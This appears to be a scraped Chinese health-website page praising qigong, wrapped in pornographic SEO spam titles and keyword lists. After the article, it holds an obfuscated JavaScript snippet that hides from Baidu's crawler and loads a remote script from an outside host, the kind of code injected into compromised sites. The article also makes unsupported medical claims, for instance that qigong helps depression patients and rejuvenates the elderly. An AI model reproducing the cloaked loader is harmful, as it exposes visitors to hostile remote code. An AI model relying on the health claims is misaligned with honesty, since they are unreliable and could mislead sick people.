久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

學習氣功的好處有哪些

2017-04-16 14:53:37  來源:360常識網   熱度:
導語:練習氣功的確是一種養生保健的好手段,當然,辛苦練習不是一朝一夕就能夠辦到的,這要求一個人要有堅定的心志,并且要發自內心地相信練習氣

練習氣功的確是一種養生保健的好手段,當然,辛苦練習不是一朝一夕就能夠辦到的,這要求一個人要有堅定的心志,并且要發自內心地相信練習氣功的確能夠達到養生保健的作用,持之以恒是練習氣功的關鍵,3天打漁兩天曬網,絕對是練不好氣功的,而且也起不到養生保健的作用。下面就來介紹一下學習氣功的一些好處。

練氣功可以調整陰陽、和暢氣血、疏通經絡、培益真氣,使人的生命得以旺盛,能收到使弱者強、病者康、老者復壯的效果。《黃帝內經·素問·上古天真論》中說:“知其道者,法于陰陽,和于術數,食飲有節,起居有常,不妄勞作,故能形與神俱,而盡終其天年,度百歲乃去。”《管子·內業》中說:“人能正靜者……筋韌而骨強。”華佗則進一步指出:“動搖則谷氣得消,血脈流通,百病不生。”這些論述,不僅被很多練功者所證實,而且得到了現代醫學科學實驗的證實。

練功可使神經功能得到修復和調整。練功時的腦電圖呈α波振幅增大,而且集中于額部(這是和閉眼安靜枕部呈α波的主要區別),并使左右腦趨于同步,表明腦功能有序化增強。同時,還可使植物神經得到調整;使感覺功能、運動功能、思維功能強化。

一般來說,氣功適合于各個年齡階段的人練習。當然患有某些疾病的人練習一下氣功就更好。比如說患有抑郁癥的患者,往往愛幻想,并且情緒不穩定,這個時候如果進行氣功練習,可以幫助患者平復不穩定的情緒,還可以減少癔癥發作的頻次。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: a级毛片基地 | 黄色片视频在线观看 | 毛片毛片毛片毛片毛片毛片 | 日日操综合 | 极品成人影院 | 11一12免费毛片 | 免费成人高清 | 久久公开视频 | 欧美成人精品h版在线观看 日韩激情影院 | 99中文字幕 | 日本一本高清 | 日韩电影在线免费观看 | 国产91网址 | 粉嫩高清一区二区三区精品视频 | 日韩一区二区福利 | 日韩精品在线一区 | 久久久久国产精品午夜一区 | 欧美一区二区三区精品 | 黄色小视频网 | 日a在线| 久草视频在线资源 | 国产精品久久久 | 成人激情视频在线免费观看 | 国产精品三级久久久久久电影 | 久草精品视频 | 日韩一区二区三区在线播放 | 亚洲精品aaa | 亚洲h| 亚洲视频在线观看 | 婷婷色站 | 韩国精品一区 | 97人人爱| 国产一级毛片国语一级 | 日韩精品极品在线观看 | 欧美日韩亚洲二区 | 国产欧美一区二区视频 | 日韩一区二区精品视频 | 中文字幕日韩久久 | 日本成人一区二区三区 | 99精品国产高清一区二区麻豆 | 国产精品理论片 |